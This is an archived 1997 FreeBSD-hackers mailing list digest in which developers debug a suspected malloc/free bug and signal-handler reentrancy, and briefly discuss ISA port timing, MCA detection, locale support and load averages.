(PDT) Received: from hydrogen.nike.efn.org (resnet.uoregon.edu [128.223.170.28]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA15409; Thu, 18 Sep 1997 23:06:49 -0700 (PDT) Received: (from jmg@localhost) by hydrogen.nike.efn.org (8.8.7/8.8.7) id XAA01685; Thu, 18 Sep 1997 23:06:17 -0700 (PDT) Message-ID: <19970918230616.02227@hydrogen.nike.efn.org> Date: Thu, 18 Sep 1997 23:06:16 -0700 From: John-Mark Gurney To: Peter Wemm Cc: Andrew Atrens , hackers@FreeBSD.ORG, gram@cdsec.com, phk@critter.freebsd.dk, freebsd-bugs@FreeBSD.ORG Subject: Re: Bug in malloc/free References: <199709190401.VAA06335@hub.freebsd.org> <199709190459.MAA07378@spinner.dialix.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 In-Reply-To: <199709190459.MAA07378@spinner.dialix.com.au>; from Peter Wemm on Fri, Sep 19, 1997 at 12:59:33PM +0800 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 2.2.1-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Peter Wemm scribbled this message on Sep 19: > "Andrew Atrens" wrote: > > > > Hi Folks, > > > > By coincidence I *may* have seen a bug similar to Graham's last night... > > I'm using 3.0 current ( circa. Aug 08 ). > > > > I built `ddd-2.1.1.tar.gz', found in /pub/FreeBSD/distfiles which is a > > largely C++ interface for gdb and others. Unfortunately, when I tried to > > run it, it gobbled memory until it choked. I tried a second time, this > > time killing it with CTRL-C and observed: > > > > ^Cddd in malloc(): warning: recursive call. > > Virtual memory exceeded in `new' > > > > After reading Graham's thread I relinked it against libgnumalloc, and low > > and behold it works like a charm ! > > > > Does this point to an incompatibility problem between phkmalloc and g++ > > compiled code ? > > Hmm, this particular thing sounds like a signal recursion problem.. > > If a malloc() instance is interrupted in the middle of execution and a > signal is taken, and that signal again calls malloc (eg: via new), the > state of the malloc arena is 'indeterminate'. > > Perhaps malloc is doing something that can cause a signal? or perhaps ddd > has a fast timer that calls malloc (or new) that can interrupt other malloc > calls? Perhaps malloc() could/should block SIGALRM while executing it's > non-reentrant parts? I thought that you weren't suppose to call routines like these from signal handlers... and from the APUE (page278): "Most functions that are not in Figure 10.3 [Reentrant functions that may be called from a signal handler] are missing because (a) they are known to use static data structures, (b) they call malloc or free, or (c) they are part of the standard I/O library." so any program that makes calles to these functions are VERY broken... -- John-Mark Gurney Modem/FAX: +1 541 683 6954 Cu Networking Live in Peace, destroy Micro$oft, support free software, run FreeBSD From owner-freebsd-hackers Thu Sep 18 23:28:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA16915 for hackers-outgoing; Thu, 18 Sep 1997 23:28:34 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA16910; Thu, 18 Sep 1997 23:28:30 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id PAA03644; Fri, 19 Sep 1997 15:58:14 +0930 (CST) Message-ID: <19970919155813.53901@lemis.com> Date: Fri, 19 Sep 1997 15:58:13 +0930 From: Greg Lehey To: Peter Wemm Cc: Andrew Atrens , hackers@FreeBSD.ORG, gram@cdsec.com, phk@critter.freebsd.dk, freebsd-bugs@FreeBSD.ORG Subject: Re: Bug in malloc/free References: <199709190401.VAA06335@hub.freebsd.org> <199709190459.MAA07378@spinner.dialix.com.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709190459.MAA07378@spinner.dialix.com.au>; from Peter Wemm on Fri, Sep 19, 1997 at 12:59:33PM +0800 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, Sep 19, 1997 at 12:59:33PM +0800, Peter Wemm wrote: > "Andrew Atrens" wrote: >> >> Hi Folks, >> >> By coincidence I *may* have seen a bug similar to Graham's last night... >> I'm using 3.0 current ( circa. Aug 08 ). >> >> I built `ddd-2.1.1.tar.gz', found in /pub/FreeBSD/distfiles which is a >> largely C++ interface for gdb and others. Unfortunately, when I tried to >> run it, it gobbled memory until it choked. I tried a second time, this >> time killing it with CTRL-C and observed: >> >> ^Cddd in malloc(): warning: recursive call. >> Virtual memory exceeded in `new' >> >> After reading Graham's thread I relinked it against libgnumalloc, and low >> and behold it works like a charm ! >> >> Does this point to an incompatibility problem between phkmalloc and g++ >> compiled code ? > > Hmm, this particular thing sounds like a signal recursion problem.. > > If a malloc() instance is interrupted in the middle of execution and a > signal is taken, and that signal again calls malloc (eg: via new), the > state of the malloc arena is 'indeterminate'. Even more insidious are library routines which could call malloc(). To quote PUS: By definition, signals interrupt the normal flow of program execution. This can cause problems if they call a function that has already been invoked, and which has saved some local state. The function needs to be written specially to avoid such problems--it should block either all signals during execution, or, preferably, it should be written reentrantly. Either solution is difficult, and typically system libraries do not support this kind of reentrancy. On the other hand, there's not much you can do without calling some library routine. POSIX.1 defines "safe" routines that you can call from a signal handler. They are: _exit access alarm cfgetispeed cfgetospeed cfsetispeed cfsetospeed chdir chmod chown close creat dup dup2 execle execve fcntl fork fstat getegid geteuid getgid getgroups getpgrp getpid getppid getuid kill link lseek mkdir mkfifo open pathconf pause pipe read rename rmdir setgid setpgid setsid setuid sigaction sigaddset sigdelset sigemptyset sigfillset sigismember sigpending sigprocmask sigsuspend sleep stat sysconf tcdrain tcflow tcflush tcgetattr tcgetpgrp tcsendbreak tcsetattr tcsetpgrp time times umask uname unlink utime wait waitpid write In addition, System V.4 allows abort, exit, longjmp, and signal. Should we produce some such guidelines? > Perhaps malloc is doing something that can cause a signal? or perhaps ddd > has a fast timer that calls malloc (or new) that can interrupt other malloc > calls? Perhaps malloc() could/should block SIGALRM while executing it's > non-reentrant parts? Greg From owner-freebsd-hackers Thu Sep 18 23:33:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA17381 for hackers-outgoing; Thu, 18 Sep 1997 23:33:01 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA17244; Thu, 18 Sep 1997 23:31:54 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id XAA19901; Thu, 18 Sep 1997 23:26:02 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd019899; Fri Sep 19 06:26:01 1997 Date: Thu, 18 Sep 1997 23:25:18 -0700 (PDT) From: Julian Elischer To: itojun@itojun.org cc: Terry Lambert , hackers@FreeBSD.ORG, ache@FreeBSD.ORG Subject: Re: RFC: japanese LOCALE stuff In-Reply-To: <9993.874633898@itojun.csl.sony.co.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk certainly it would be kind of you to do so. On Fri, 19 Sep 1997 itojun@itojun.org wrote: > >> + /* > >> + * mskanji.c - locale ja_JP.SJIS support > >> + * Copyright (c) 1995 > >> + * Sin'ichiro MIYATANI Phase One Inc. All rights reserved. > >> + */ > >What's the status on this thing? > > did anybody contacted the author? (siu@phaseone.co.jp) if not > i can. > > itojun > From owner-freebsd-hackers Thu Sep 18 23:35:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA17706 for hackers-outgoing; Thu, 18 Sep 1997 23:35:33 -0700 (PDT) Received: from superior.mooseriver.com (dynamic10.pm08.sf1.best.com [206.184.197.234]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA17691 for ; Thu, 18 Sep 1997 23:35:28 -0700 (PDT) Received: (from jgrosch@localhost) by superior.mooseriver.com (8.8.7/8.8.5) id XAA21824; Thu, 18 Sep 1997 23:35:27 -0700 (PDT) Message-ID: <19970918233526.47127@mooseriver.com> Date: Thu, 18 Sep 1997 23:35:26 -0700 From: Josef Grosch To: hackers@freebsd.org Subject: New cvs tag Reply-To: jgrosch@superior.mooseriver.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.79 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Since we are headed to 2.2.5 is there a cvs tag to pull 2.2.5, such as "RELENG_2_2_5" ?? Josef -- Josef Grosch | Another day closer to a | FreeBSD 2.2.2 jgrosch@MooseRiver.com | Micro$oft free world | UNIX for the masses From owner-freebsd-hackers Thu Sep 18 23:47:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA18529 for hackers-outgoing; Thu, 18 Sep 1997 23:47:48 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA18495; Thu, 18 Sep 1997 23:47:37 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id XAA20189; Thu, 18 Sep 1997 23:34:20 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd020186; Fri Sep 19 06:34:18 1997 Date: Thu, 18 Sep 1997 23:33:34 -0700 (PDT) From: Julian Elischer To: Mike Smith cc: Andrew Atrens , hackers@FreeBSD.ORG, gram@cdsec.com, phk@critter.freebsd.dk, freebsd-bugs@FreeBSD.ORG Subject: Re: Bug in malloc/free In-Reply-To: <199709190521.OAA00674@word.smith.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk probably a printf or other stdio function On Fri, 19 Sep 1997, Mike Smith wrote: > > > > ^Cddd in malloc(): warning: recursive call. > > Virtual memory exceeded in `new' > > > > After reading Graham's thread I relinked it against libgnumalloc, and low > > and behold it works like a charm ! > > > > Does this point to an incompatibility problem between phkmalloc and g++ > > compiled code ? > > Something in malloc, somehow, is calling malloc() again, by the look of > it. > > Does libg++ define any replacements for any of the standard C library > functions? I've been going through just about *everything* I can find > in case Poul has missed something; there is nothing in any of the > malloc-called code (mostly just abort()) that is likely to be relevant > to this. > > mike > > > From owner-freebsd-hackers Thu Sep 18 23:48:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA18627 for hackers-outgoing; Thu, 18 Sep 1997 23:48:14 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA18620 for ; Thu, 18 Sep 1997 23:48:09 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id XAA21984; Thu, 18 Sep 1997 23:47:59 -0700 (PDT) To: "Jamil J. Weatherbee" cc: Eivind Eklund , md6tommy@mdstud.chalmers.se, freebsd-hackers@FreeBSD.ORG Subject: Re: CDROM image In-reply-to: Your message of "Thu, 18 Sep 1997 21:16:37 PDT." Date: Thu, 18 Sep 1997 23:47:59 -0700 Message-ID: <21980.874651679@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The CDROM comes with automatic entropy reduction features, don't worry. For one thing, we take the output of a very high quality random number generator (a ring of 40 sampled lava lamps from SGI's Countercultural Randomness division), bias it with the detected events from a cosmic ray detector and then write this in a subtrack on the CD. When data from the CD is read, the randomness is automatically inverted and added to the data, thus cancelling out any entropy in a fashion similar to the way noise cancellation is carried out. In other words, don't sweat it. We're experts, dude. Jordan > > So how does this effect the entropy of the system of bits? > > > trees, etc. If you look at the sheer volume of bits involved, they're > > really almost completely different products. > > > Jordan > > > From owner-freebsd-hackers Thu Sep 18 23:50:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA18809 for hackers-outgoing; Thu, 18 Sep 1997 23:50:52 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA18797 for ; Thu, 18 Sep 1997 23:50:46 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA19976 for hackers@freebsd.org; Fri, 19 Sep 1997 08:50:45 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id IAA12354; Fri, 19 Sep 1997 08:49:37 +0200 (MET DST) Message-ID: <19970919084937.PR22228@uriah.heep.sax.de> Date: Fri, 19 Sep 1997 08:49:37 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@freebsd.org Subject: Re: INB question References: <19970918221839.VL10449@uriah.heep.sax.de> <199709190029.JAA02973@word.smith.net.au> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199709190029.JAA02973@word.smith.net.au>; from Mike Smith on Sep 19, 1997 09:59:39 +0930 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Mike Smith wrote: > > That's why i wrote ``unspecified, with a tendency to 0xff''. > > The implication (as an english speaker) from your claim was > "unspecified but sometimes 0xff". It would be civilised to qualify the > "tendency" under the circumstances. I wasn't that sure about the exact hardware details as you are. That made my expression more vague. > OBTW, see my trailing comment wrt. transfer rates; if ISA read cycles > are deferred by 1.25us, how do I manage 1.3MW/sec from a user-space > process? (This is with a P166 on an HX board; nothing special.) With a true plain ISA card? The boot code still uses an inb(0x84) for a timing loop, and it seems to get the timing well enough with it. OTOH, 800000 transfers per second seem to support your figure. If the transfers are 16 bits wide, this would be ~ 80 % of the theoretical maximum. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu Sep 18 23:54:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA19147 for hackers-outgoing; Thu, 18 Sep 1997 23:54:59 -0700 (PDT) Received: from word.smith.net.au (word.smith.net.au [202.0.75.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA19115; Thu, 18 Sep 1997 23:54:42 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id QAA01100; Fri, 19 Sep 1997 16:22:04 +0930 (CST) Message-Id: <199709190652.QAA01100@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Julian Elischer cc: Mike Smith , Andrew Atrens , hackers@FreeBSD.ORG, gram@cdsec.com, phk@critter.freebsd.dk, freebsd-bugs@FreeBSD.ORG Subject: Re: Bug in malloc/free In-reply-to: Your message of "Thu, 18 Sep 1997 23:33:34 MST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 19 Sep 1997 16:22:04 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > probably a printf or other stdio function I *know* this. 8) I'm just trying to find the sucker. The 'ddd' example looked like it was spinning in abort(), which doesn't look like it will actually come back and call malloc() again. In olden days, if MALLOC_STATS was defined when malloc() was built, the stats dump used fprintf(), but this is not the case with 3.x. mike From owner-freebsd-hackers Fri Sep 19 00:02:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA19648 for hackers-outgoing; Fri, 19 Sep 1997 00:02:29 -0700 (PDT) Received: from word.smith.net.au (word.smith.net.au [202.0.75.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA19630 for ; Fri, 19 Sep 1997 00:02:21 -0700 (PDT) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id QAA01136; Fri, 19 Sep 1997 16:29:02 +0930 (CST) Message-Id: <199709190659.QAA01136@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Terry Lambert cc: mike@smith.net.au (Mike Smith), sos@sos.freebsd.dk, hackers@FreeBSD.ORG Subject: Re: INB question In-reply-to: Your message of "Thu, 18 Sep 1997 16:27:12 GMT." <199709181627.JAA17940@usr03.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 19 Sep 1997 16:29:02 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > If Jonathan can get the early-kernel BIOS call stuff working, int15 may > > still be the "right" way to go. Until then, how about you look for the > > MCA configuration information? One would hope that its location and > > format were documented. > > They are, sort of: > > INT 0x15 AH=0xCO: > > Gets a pointer to configuration information storead in > the system BIOS ROM. This information often resides at > F000:E6F5, but starting with the PS/2, IBM no longer > retains a fixed location for this table. > > Bletch. Exactly the case I wanted. 8-(. This isn't the MCA configuration information; this is the BIOS hardware table. I mean the soft configuration information that you mung with the config disk. > Yeah; that's why I picked the extended MCA DMA ports for the detect; > that, and I can do the probe non-destructively, with the expectation of > a 0 bit in my data and no hardware configuratio changes resulting. Where is the port exactly? ie. is it likely to be sat on or masked over by an ISA device? mike From owner-freebsd-hackers Fri Sep 19 00:08:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA20012 for hackers-outgoing; Fri, 19 Sep 1997 00:08:29 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA20007 for ; Fri, 19 Sep 1997 00:08:23 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.7/8.8.5) with SMTP id AAA01656 for ; Fri, 19 Sep 1997 00:07:27 -0700 (PDT) Date: Fri, 19 Sep 1997 00:07:27 -0700 (PDT) From: "Jamil J. Weatherbee" To: freebsd-hackers@freebsd.org Subject: FreeBSD Lock Manager Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk After reading the post on the network shared lock manager I started thinking! The lock manager would be in the kernel and as I understand is essentially just managing an arbitruary set on names floating around in netspace, so isn't this kind of like a specialization of the Inter Kernel Communications post (IKC) of a few months ago. Modifications could make it possible to share just about anything between kernels. Including process IDs so that my vision of when a machine goes down -- processes stopped, core dumped, moved across network to another machine and restarted seamlessly complete with network traffic redirection. From owner-freebsd-hackers Fri Sep 19 00:19:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA20631 for hackers-outgoing; Fri, 19 Sep 1997 00:19:37 -0700 (PDT) Received: from citadel.cdsec.com (citadel.cdsec.com [192.96.22.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA20598 for ; Fri, 19 Sep 1997 00:19:30 -0700 (PDT) Received: (from nobody@localhost) by citadel.cdsec.com (8.8.5/8.6.9) id JAA21632; Fri, 19 Sep 1997 09:24:43 +0200 (SAT) Received: by citadel via recvmail id 21630; Fri Sep 19 09:24:36 1997 by gram.cdsec.com (8.8.5/8.8.5) id JAA01726; Fri, 19 Sep 1997 09:10:29 +0200 (SAT) From: Graham Wheeler Message-Id: <199709190710.JAA01726@cdsec.com> Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) To: nate@mt.sri.com (Nate Williams) Date: Fri, 19 Sep 1997 09:10:28 +0200 (SAT) Cc: hackers@freebsd.org In-Reply-To: <199709181811.MAA13376@rocky.mt.sri.com> from "Nate Williams" at Sep 18, 97 12:11:25 pm X-Mailer: ELM [version 2.4 PL25-h4.1] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi guys > True, but I think Graham's arguement puts the ball in your court. Yes, > it's *possible* that a bug in his code exists, but given that his other > malloc has debugging capabilities built-in, one could argue that the > burden of proof is now on PHK-malloc. Perhaps not yet - but if I try (say) three other malloc libraries, and there is no problem with any of them, then I would say that there is a reasonable case to be made. I think Poul's defense is quite correct; using just one other library is inconclusive. > Graham, does your software run on a Solaris or HP/UX box? If so, you > may consider getting an evaluation copy of Purify and running it against > your code. IMHO, Purify is the *best* single-tool for pointing out these > kinds of errors, aside from good programming practices. I find it even > more useful than a debugger for 'hard to find' errors, although when > coupled with a debugger it's usefulness is second to none. Unfortunately not - it requires kernel modifications to the BPF code... -- Dr Graham Wheeler E-mail: gram@cdsec.com Citadel Data Security Phone: +27(21)23-6065/6/7 Internet/Intranet Network Specialists Mobile: +27(83)-253-9864 Firewalls/Virtual Private Networks Fax: +27(21)24-3656 Data Security Products WWW: http://www.cdsec.com/ From owner-freebsd-hackers Fri Sep 19 00:33:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA21420 for hackers-outgoing; Fri, 19 Sep 1997 00:33:39 -0700 (PDT) Received: from citadel.cdsec.com (citadel.cdsec.com [192.96.22.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA21401 for ; Fri, 19 Sep 1997 00:33:32 -0700 (PDT) Received: (from nobody@localhost) by citadel.cdsec.com (8.8.5/8.6.9) id JAA22082; Fri, 19 Sep 1997 09:38:43 +0200 (SAT) Received: by citadel via recvmail id 22049; Fri Sep 19 09:37:57 1997 by gram.cdsec.com (8.8.5/8.8.5) id JAA01749; Fri, 19 Sep 1997 09:23:37 +0200 (SAT) From: Graham Wheeler Message-Id: <199709190723.JAA01749@cdsec.com> Subject: Re: Bug in malloc/free (was: Memory leak in getservbyXXX?) To: tlambert@primenet.com (Terry Lambert) Date: Fri, 19 Sep 1997 09:23:36 +0200 (SAT) Cc: hackers@freebsd.org In-Reply-To: <199709182114.OAA13613@usr03.primenet.com> from "Terry Lambert" at Sep 18, 97 09:14:40 pm X-Mailer: ELM [version 2.4 PL25-h4.1] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > Well, then maybe you'll find the code below useful. It isn't Purify, but > > then it doesn't cost anything near the price 8-). I'd use it > > myself now, except that these days I write everything in C++. Mostly I'm > > happy about that, but not right now... > > You can replace you "new" and "delete" functions; you knew that, right? Yes - but what I really want is a drop-in replacement using the preprocessor, like the C library does, so that I can use __FILE__ and __LINE__ macros to get the location of the new/delete: that is the tricky part. One could write a base class that all others must inherit, override it's new and delete operators, and use the placement mechanism to pass the file and line number arguments through. But that means changing all calls to new/delete with macros, so it isn't `drop-in'. Also, all dynamic allocations of base types (like char or int arrays) would still be excluded, unless encapsulated in a class. And arrays of objects would also be messy. So with a lot of work one could get some of the functionality of the C debug library, but it would hardly be a `drop-in' solution. I do have a MemTrace class and a TRACE macro which, with not too much effort, writes a log of all allocations and deletes to a file, which can then be run through a postprocessor to show me bad deletes and memory leaks, but again, this doesn't help with overruns. > > --------- gwtest.c ------------------------------------------------------ > > [ ... ] > > > void doubleFreeTest(void) > > { > > heap_ptr p = malloc(10); > > free(p); > > free(p); > > } > > How about: > > heap_ptr p = malloc( 20); > heap_ptr q, r; > free(p); > q = malloc(10) > r = malloc( 10); > free(p); > > ? 8-). I'll have to try it and see... -- Dr Graham Wheeler E-mail: gram@cdsec.com Citadel Data Security Phone: +27(21)23-6065/6/7 Internet/Intranet Network Specialists Mobile: +27(83)-253-9864 Firewalls/Virtual Private Networks Fax: +27(21)24-3656 Data Security Products WWW: http://www.cdsec.com/ From owner-freebsd-hackers Fri Sep 19 00:40:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA21825 for hackers-outgoing; Fri, 19 Sep 1997 00:40:06 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id AAA21797 for ; Fri, 19 Sep 1997 00:40:01 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA20323; Fri, 19 Sep 1997 09:39:59 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id JAA12684; Fri, 19 Sep 1997 09:35:58 +0200 (MET DST) Message-ID: <19970919093558.IZ28747@uriah.heep.sax.de> Date: Fri, 19 Sep 1997 09:35:58 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Cc: joe@via.net (Joe McGuckin) Subject: Re: What does 'load' actually measure? References: <199709182301.QAA23977@monk.via.net> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199709182301.QAA23977@monk.via.net>; from Joe McGuckin on Sep 18, 1997 16:01:09 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Joe McGuckin wrote: > Number of processes waiting in run queue? Yep, averaged for the recent 1, 5, and 15 minutes. I think the daemon book(s) describe the algorithm, and the motivation behind inventing it. It's not that this was ever intended to be used in userland code :), but it got a convenient method over time, so now there's even a standardized getloadavg(3). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Fri Sep 19 00:40:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA21866 for hackers-outgoing; Fri, 19 Sep 1997 00:40:39 -0700 (PDT) Received: from citadel.cdsec.com (citadel.cdsec.com [192.96.22.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA21859 for ; Fri, 19 Sep 1997 00:40:31 -0700 (PDT) Received: (from nobody@localhost) by citadel.cdsec.com (8.8.5/8.6.9) id JAA22308; Fri, 19 Sep 1997 09:45:43 +0200 (SAT) Received: by citadel via recvmail id 22275; Fri Sep 19 09:45:08 1997 by gram.cdsec.com (8.8.5/8.8.5) id JAA01763; Fri, 19 Sep 1997 09:30:59 +0200 (SAT) From: Graham Wheeler Message-Id: <199709190730.JAA01763@cdsec.com> Subject: Re: Bug in malloc/free To: peter@spinner.dialix.com.au (Peter Wemm) Date: Fri, 19 Sep 1997 09:30:59 +0200 (SAT) Cc: hackers@freebsd.org In-Reply-To: <199709190459.MAA07378@spinner.dialix.com.au> from "Peter Wemm" at Sep 19, 97 12:59:33 pm X-Mailer: ELM [version 2.4 PL25-h4.1] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > By coincidence I *may* have seen a bug similar to Graham's last night... > > I'm using 3.0 current ( circa. Aug 08 ). > > > > I built `ddd-2.1.1.tar.gz', found in /pub/FreeBSD/distfiles which is a > > largely C++ interface for gdb and others. Unfortunately, when I tried to > > run it, it gobbled memory until it choked. I tried a second time, this > > time killing it with CTRL-C and observed: > > > > ^Cddd in malloc(): warning: recursive call. > > Virtual memory exceeded in `new' > > > > After reading Graham's thread I relinked it against libgnumalloc, and low > > and behold it works like a charm ! > > > > Does this point to an incompatibility problem between phkmalloc and g++ > > compiled code ? > > Hmm, this particular thing sounds like a signal recursion problem.. That's exactly what one of my bugs was. I was doing memory allocation from within a SIGCHLD handler which caused this problem. That was fixed (about Tuesday) and got rid of the `recursive call' problem, but hasn't got rid of the (apparent) malloc circular list problem. It is this latter problem that is proving tricky now, and which seems to have disappeared after linking with libmalloc_d. -- Dr Graham Wheeler E-mail: gram@cdsec.com Citadel Data Security Phone: +27(21)23-6065/6/7 Internet/Intranet Network Specialists Mobile: +27(83)-253-9864 Firewalls/Virtual Private Networks Fax: +27(21)24-3656 Data Security Products WWW: http://www.cdsec.com/ From owner-freebsd-hackers Fri Sep 19 00:45:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA22181 for hackers-outgoing; Fri, 19 Sep 1997 00:45:34 -0700 (PDT) Received: from citadel.cdsec.com (citadel.cdsec.com [192.96.22.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA22176 for ; Fri, 19 Sep 1997 00:45:29 -0700 (PDT) Received: (from nobody@localhost) by citadel.cdsec.com (8.8.5/8.6.9) id JAA22469 for ; Fri, 19 Sep 1997 09:50:44 +0200 (SAT) Received: by citadel via recvmail id 22436; Fri Sep 19 09:50:14 1997 by gram.cdsec.com (8.8.5/8.8.5) id JAA01776 for 